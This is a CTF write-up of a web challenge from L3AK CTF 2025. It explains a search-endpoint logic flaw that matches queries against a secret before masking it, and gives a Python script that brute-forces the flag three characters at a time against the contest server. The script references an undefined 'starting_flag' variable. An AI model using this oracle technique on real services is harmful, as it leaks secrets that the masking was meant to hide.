Post

L3AK CTF 2025 - WEB

L3AK CTF 2025 - WEB

Web

Flag L3ak

Solvers: 698
Author: p._.k

Description

What’s the name of this CTF? Yk what to do πŸ˜‰

flag l3ak

Solution

This is a simple web challenge with search function and we need to figure the logic vulnerability that can leak us the flag.
After checking out the source code provided, there is a post contain flag which is id: 3.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const posts = [
    {
        id: 1,
        title: "Welcome to our blog!",
        content: "This is our first post. Welcome everyone!",
        author: "admin",
        date: "2025-01-15"
    },
    {
        id: 2,
        title: "Tech Tips",
        content: "Here are some useful technology tips for beginners. Always keep your software updated!",
        author: "Some guy out there",
        date: "2025-01-20"
    },
    {
        id: 3,
        title: "Not the flag?",
        content: `Well luckily the content of the flag is hidden so here it is: ${FLAG}`,
        author: "admin",
        date: "2025-05-13"
    },
    {
        id: 4,
        title: "Real flag fr",
        content: `Forget that other flag. Here is a flag: L3AK{Bad_bl0g?}`,
        author: "L3ak Member",
        date: "2025-06-13"
    },
    {
        id: 5,
        title: "Did you know?",
        content: "This blog post site is pretty dope, right?",
        author: "???",
        date: "2025-06-20"
    },
];

Let’s check /api/search endpoint.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.post('/api/search', (req, res) => {
    const { query } = req.body;
    
    if (!query || typeof query !== 'string' || query.length !== 3) {
        return res.status(400).json({ 
            error: 'Query must be 3 characters.',
        });
    }

    const matchingPosts = posts
        .filter(post => 
            post.title.includes(query) ||
            post.content.includes(query) ||
            post.author.includes(query)
        )
        .map(post => ({
            ...post,
            content: post.content.replace(FLAG, '*'.repeat(FLAG.length))
    }));

    res.json({
        results: matchingPosts,
        count: matchingPosts.length,
        query: query
    });
});

So this code will return the post that contains the query in the title, content, or author.
We know the flag format is L3AK{...}. Gonna test out first 3 characters of the flag.

flag l3ak

The result is 2 posts is match but the content flag from post with id 4 is fake.

So we know the logic when searching is that:

  • It will filter posts based on the query which means it will check if there is query in the content or not.
  • The flag content is hidden by * characters.

β†’ We can leverage this to check the 3 characters that if the post of id 3 appear, we know that these characters are correct.

Now let’s craft a script to bruteforce the flag.
So the script above also implemnt the false positive check because some characters will be matched on in 1 position like position 5, I bruteforce and got both e and 3 are match so need to consider this.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
import requests
import json
import string
import time
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed

def search_posts(query):
    url = "http://34.134.162.213:17000/api/search"
    data = {"query": query}
    
    try:
        response = requests.post(url, json=data, timeout=2)
        if response.status_code == 200:
            results = response.json()
            return 3 in [post['id'] for post in results['results']]
        else:
            return False
    except Exception as e:
        return False

def is_flag_like(current_flag):
    if not current_flag.startswith("L3AK{"):
        return False
    
    if current_flag.count('{') > 1:
        return False
    
    if ' ' in current_flag:
        return False
    
    blog_words = ['content', 'there', 'here', 'this', 'that', 'with', 'have', 'from']
    for word in blog_words:
        if word in current_flag.lower():
            return False
    
    if len(current_flag) > 30 and '}' not in current_flag:
        return False
    
    return True

def detect_loop(current_flag, history):
    if current_flag in history:
        return True
    
    if len(current_flag) > 15:
        for i in range(4, len(current_flag) // 2):
            pattern = current_flag[-i:]
            if pattern in current_flag[:-i]:
                return True
    
    return False

def animate_character_search(current_flag, chars):
    found_chars = []
    
    for char in chars:
        if len(current_flag) >= 2:
            test_pattern = current_flag[-2:] + char
        else:
            test_pattern = current_flag + char
        
        if len(test_pattern) == 3:
            print(f"\rπŸ” {current_flag} β†’ {test_pattern}", end="", flush=True)
            time.sleep(0.005)
            
            if search_posts(test_pattern):
                print(f"\rπŸ” {current_flag} β†’ {test_pattern} βœ“")
                found_chars.append(char)
                
                if char == '}':
                    complete_flag = current_flag + char
                    print(f"πŸŽ‰ COMPLETE FLAG: {complete_flag}")
                    return complete_flag, True
                
                time.sleep(0.02)
    
    return found_chars, False

def smart_brute_force(current_flag, history=None, depth=0):
    
    if history is None:
        history = set()
    
    if depth > 20:
        return None
    
    if not is_flag_like(current_flag):
        print(f"❌ False positive: {current_flag}")
        return None
    
    if detect_loop(current_flag, history):
        print(f"πŸ”„ Loop detected: {current_flag}")
        return None
    
    history.add(current_flag)
    
    print(f"🎯 Exploring: {current_flag}")
    
    flag_chars = "abcdefghijklmnopqrstuvwxyz0123456789_!@#$%^&*(){}?"
    other_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ-+=[]|\\:;\"'<>,.?/~` "
    chars = flag_chars + other_chars
    
    result, is_complete = animate_character_search(current_flag, chars)
    
    if is_complete:
        return result
    
    found_chars = result
    
    if not found_chars:
        print(f"🚫 Dead end: {current_flag}")
        return None
    
    print(f"βœ… Found characters: {found_chars}")
    
    if len(found_chars) == 1:
        char = found_chars[0]
        new_flag = current_flag + char
        return smart_brute_force(new_flag, history.copy(), depth + 1)
    
    else:
        print(f"πŸ”€ Multiple paths found: {found_chars}")
        
        priority_chars = []
        other_chars = []
        
        for char in found_chars:
            if char in "abcdefghijklmnopqrstuvwxyz0123456789_!@#$%^&*(){}?":
                priority_chars.append(char)
            else:
                other_chars.append(char)
        ordered_chars = priority_chars + other_chars
        
        print(f"πŸ“‹ Trying in order: {ordered_chars}")
        
        for i, char in enumerate(ordered_chars):
            print(f"πŸ” Path {i+1}/{len(ordered_chars)}: '{char}'")
            new_flag = current_flag + char
            
            new_history = history.copy()
            result = smart_brute_force(new_flag, new_history, depth + 1)
            
            if result:
                return result
            
            print(f"❌ Path '{char}' failed")
        
        return None

def main():
    start_time = time.time()
    
    try:
        result = smart_brute_force(starting_flag)
        
        end_time = time.time()
        elapsed = end_time - start_time
        
        if result:
            print(f"\nπŸŽ‰ SUCCESS in {elapsed:.2f}s!")
            print(f"🚩 FINAL FLAG: {result}")
            
            print(f"\nπŸ” Verification:")
            all_good = True
            for i in range(len(result) - 2):
                part = result[i:i+3]
                if search_posts(part):
                    print(f"βœ… {part}")
                else:
                    print(f"❌ {part}")
                    all_good = False
            
            if all_good:
                print("🎊 Flag fully verified!")
            else:
                print("⚠️ Some parts failed verification")
        else:
            print(f"\n❌ No valid flag found in {elapsed:.2f}s")
            
    except KeyboardInterrupt:
        print("\n\n⏹️ Stopped by user")

if __name__ == "__main__":
    main()

Flag: L3AK{L3ak1ng_th3_Fl4g??}

This post is licensed under CC BY 4.0 by the author.